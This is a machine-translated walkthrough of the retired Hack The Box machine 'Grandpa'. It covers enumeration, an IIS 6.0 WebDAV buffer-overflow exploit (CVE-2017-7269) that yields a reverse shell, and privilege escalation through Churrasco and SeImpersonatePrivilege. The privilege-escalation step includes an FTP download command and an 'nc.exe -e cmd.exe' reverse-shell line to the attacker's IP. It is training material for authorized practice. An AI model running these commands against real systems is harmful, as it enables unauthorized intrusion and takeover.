![\"Hack](\"/static/598fc82bb08f81fbaaa4aab930820dd3/c8042/327080.png\" "\\"Hack")
\n \n\nThis page has been machine-translated from the original page.
\n
I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.
\n\n \n \n\n This is a writeup for the retired HackTheBox machine “Grandpa.”
\n\nThe content of this article is not intended to promote acts that violate social order.
\nPlease be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).
\nAll opinions expressed are my own and do not represent those of any organization I belong to.
\n\nI start by running Nmap.
\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\nPORT STATE SERVICE VERSION\n80/tcp open http Microsoft IIS httpd 6.0\n| http-methods: \n|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH\n|_http-title: Under Construction\n| http-webdav-scan: \n| Server Date: Sat, 04 Jun 2022 01:01:45 GMT\n| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK\n| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH\n| WebDAV type: Unknown\n|_ Server Type: Microsoft-IIS/6.0\n|_http-server-header: Microsoft-IIS/6.0\nService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 28.16 secondsIIS appears to be running, so I access it.
\nSince I couldn’t gather much information, I run gobuster for enumeration.
\nSeveral paths were found.
\n$ gobuster dir -u http://$RHOST/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 | tee gobuster1.txt\n\n/images (Status: 301) [Size: 152] [--> http://$RHOST/images/]\n/Images (Status: 301) [Size: 152] [--> http://$RHOST/Images/]\n/IMAGES (Status: 301) [Size: 152] [--> http://$RHOST/IMAGES/] \n/_private (Status: 403) [Size: 1529] This alone doesn’t give me a useful foothold.
\nI also tried feroxbuster, but nothing useful came up.
\n$ feroxbuster -u http://$RHOST/ -x asp,aspx -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt | tee feroxbuster.txtNext, I use davtest to check WebDAV.
Simply put, WebDAV is an HTTP-based file transfer mechanism.
\nUsing DAVTest, I can check whether WebDAV is running.
\n$ /usr/bin/davtest -url http://$RHOST/\n********************************************************\n Testing DAV connection\nOPEN SUCCEED: http://$RHOST\n********************************************************\nNOTE Random string for this session: raQC3An4\n********************************************************\n Creating directory\nMKCOL FAIL\n********************************************************\n Sending test files\nPUT jhtml FAIL\nPUT cfm FAIL\nPUT cgi FAIL\nPUT jsp FAIL\nPUT txt FAIL\nPUT pl FAIL\nPUT php FAIL\nPUT shtml FAIL\nPUT asp FAIL\nPUT html FAIL\nPUT aspx FAIL\n\n********************************************************Reference: Hackers Test WebDAV-Enabled Servers with DAVTest (Kali Linux) | Become a White Hat Hacker Using AI
\nReference: http-webdav-scan NSE script — Nmap Scripting Engine documentation
\nI had confirmed from nmap’s http-webdav-scan results that several methods were available, but unfortunately it seems they can’t be used directly.
However, it turns out that IIS 6.0’s WebDAV has a vulnerability allowing authentication bypass, which can be used for arbitrary code execution.
\nReference: Microsoft IIS 6.0 - WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow - Windows remote Exploit
\nI used the following exploit code:
\nReference: iis6-exploit-2017-CVE-2017-7269
\nroot@pentestlab:~# python revshell.py \nusage:iis6webdav.py targetip targetport reverseip reverseport\n\nroot@pentestlab:~# python revshell.py 10.10.10.14 80 10.10.14.2 9999This gave me a reverse shell.
\nUnfortunately, however, I couldn’t obtain the user flag with the shell I got.
\nwhoami\nnt authority\\network serviceSo I’ll work toward privilege escalation.
\nAs usual, I check the user’s privileges.
\nwhoami /pri\nPRIVILEGES INFORMATION\n----------------------\nPrivilege Name Description State \n============================= ========================================= ========\nSeAuditPrivilege Generate security audits Disabled\nSeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled\nSeAssignPrimaryTokenPrivilege Replace a process level token Disabled\nSeChangeNotifyPrivilege Bypass traverse checking Enabled \nSeImpersonatePrivilege Impersonate a client after authentication Enabled \nSeCreateGlobalPrivilege Create global objects Enabled SeImpersonatePrivilege is enabled!
SeImpersonatePrivilege is a privilege that allows a server to impersonate a client’s credentials.
When this privilege is enabled, attacks such as Named Pipe Impersonation become possible.
\nReference: What’s Inside getsystem | Lac Security Stew Blog | note
\nReference: Named Pipe Client Impersonation - HackTricks
\nThere are several attack methods, but on Windows Server 2003, when SeImpersonatePrivilege is assigned to network service, Churrasco can be used to obtain elevated privileges.
So I transferred a file via FTP to the writable folder C:\\wmpub\\ and executed the exploit.
echo open 10.10.14.3 > ftp.txt && echo user user password >> ftp.txt && echo binary >> ftp.txt && echo get c.exe c.exe >> ftp.txt && echo quit >> ftp.txt\n\nftp -n < ftp.txt\n.\\c.exe -d \"C:\\wmpub\\nc.exe -e cmd.exe 10.10.14.3 9999\"This gave me a shell with Admin privileges.
\n